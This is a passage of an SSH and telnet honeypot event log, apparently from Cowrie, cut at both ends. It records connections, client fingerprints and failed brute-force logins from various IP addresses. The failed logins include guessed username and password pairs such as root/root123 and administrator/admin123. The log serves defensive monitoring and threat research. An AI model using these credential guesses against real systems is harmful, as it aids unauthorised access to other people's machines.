f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:55.727817Z","src_ip":"171.244.37.103","session":"4d2b31ab3d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:56.754493Z","src_ip":"171.244.37.103","session":"4d2b31ab3d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:58.006849Z","src_ip":"171.244.37.103","session":"4d2b31ab3d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59406,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e7866e7060","protocol":"ssh","message":"New connection: 103.77.242.62:59406 (10.17.0.5:22) [session: d1e7866e7060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:26.173892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:26.178787Z","src_ip":"103.77.242.62","session":"d1e7866e7060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:26.425538Z","src_ip":"103.77.242.62","session":"d1e7866e7060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhby","message":"login attempt [root/vfhby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:27.163970Z","src_ip":"103.77.242.62","session":"d1e7866e7060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:28.413635Z","src_ip":"103.77.242.62","session":"d1e7866e7060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60958,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21f6fa596a2","protocol":"telnet","message":"New connection: 69.4.83.194:60958 (159.203.135.109:23) [session: a21f6fa596a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:51.202291Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":7872,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e02d3ecf8ab","protocol":"ssh","message":"New connection: 146.70.245.157:7872 (159.203.135.109:22) [session: 4e02d3ecf8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:54.811952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:54.817082Z","src_ip":"146.70.245.157","session":"4e02d3ecf8ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:54.964125Z","src_ip":"146.70.245.157","session":"4e02d3ecf8ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin123","message":"login attempt [administrator/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:55.532361Z","src_ip":"146.70.245.157","session":"4e02d3ecf8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:27:56.681980Z","src_ip":"146.70.245.157","session":"4e02d3ecf8ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44658,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1bc217ec091","protocol":"ssh","message":"New connection: 193.37.70.224:44658 (159.203.135.109:22) [session: e1bc217ec091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:01.090035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:01.095625Z","src_ip":"193.37.70.224","session":"e1bc217ec091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:01.185734Z","src_ip":"193.37.70.224","session":"e1bc217ec091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"82468246","message":"login attempt [root/82468246] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:01.459148Z","src_ip":"193.37.70.224","session":"e1bc217ec091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:02.552669Z","src_ip":"193.37.70.224","session":"e1bc217ec091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":43918,"dst_ip":"159.203.135.109","dst_port":23,"session":"41076b6f0730","protocol":"telnet","message":"New connection: 50.62.181.92:43918 (159.203.135.109:23) [session: 41076b6f0730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:04.233108Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38082,"dst_ip":"159.203.135.109","dst_port":23,"session":"d420ae8b2706","protocol":"telnet","message":"New connection: 69.4.83.194:38082 (159.203.135.109:23) [session: d420ae8b2706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:04.894094Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":43128,"dst_ip":"159.203.135.109","dst_port":22,"session":"794fbbbd874a","protocol":"ssh","message":"New connection: 20.193.141.133:43128 (159.203.135.109:22) [session: 794fbbbd874a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:11.271278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:11.276740Z","src_ip":"20.193.141.133","session":"794fbbbd874a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:11.469507Z","src_ip":"20.193.141.133","session":"794fbbbd874a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:12.259250Z","src_ip":"20.193.141.133","session":"794fbbbd874a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:13.464019Z","src_ip":"20.193.141.133","session":"794fbbbd874a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16631841659546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:25.368490Z","src_ip":"69.4.83.194","session":"a21f6fa596a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840298652648926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:35.073114Z","src_ip":"50.62.181.92","session":"41076b6f0730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69709348678589,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:39.591104Z","src_ip":"69.4.83.194","session":"d420ae8b2706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":52354,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bcc40bd406c","protocol":"ssh","message":"New connection: 171.244.37.103:52354 (159.203.135.109:22) [session: 0bcc40bd406c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:41.980624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:41.985853Z","src_ip":"171.244.37.103","session":"0bcc40bd406c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:42.243573Z","src_ip":"171.244.37.103","session":"0bcc40bd406c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2020","message":"login attempt [root/Server2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:43.302284Z","src_ip":"171.244.37.103","session":"0bcc40bd406c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:28:44.562879Z","src_ip":"171.244.37.103","session":"0bcc40bd406c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":40560,"dst_ip":"159.203.135.109","dst_port":22,"session":"e508c23306ff","protocol":"ssh","message":"New connection: 85.11.167.46:40560 (159.203.135.109:22) [session: e508c23306ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:10.671106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:10.676577Z","src_ip":"85.11.167.46","session":"e508c23306ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:10.760273Z","src_ip":"85.11.167.46","session":"e508c23306ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:11.009818Z","src_ip":"85.11.167.46","session":"e508c23306ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:12.095514Z","src_ip":"85.11.167.46","session":"e508c23306ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45286,"dst_ip":"159.203.135.109","dst_port":23,"session":"11599bb6bbd3","protocol":"telnet","message":"New connection: 69.4.83.194:45286 (159.203.135.109:23) [session: 11599bb6bbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:37.719014Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":50123,"dst_ip":"159.203.135.109","dst_port":22,"session":"d321f85a7536","protocol":"ssh","message":"New connection: 20.193.141.133:50123 (159.203.135.109:22) [session: d321f85a7536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:57.192845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:57.199019Z","src_ip":"20.193.141.133","session":"d321f85a7536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:57.395322Z","src_ip":"20.193.141.133","session":"d321f85a7536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@1234","message":"login attempt [root/abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:58.206728Z","src_ip":"20.193.141.133","session":"d321f85a7536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:29:59.405434Z","src_ip":"20.193.141.133","session":"d321f85a7536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":54248,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c742a068ed2","protocol":"ssh","message":"New connection: 146.70.245.157:54248 (159.203.135.109:22) [session: 8c742a068ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:00.397365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:00.403827Z","src_ip":"146.70.245.157","session":"8c742a068ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa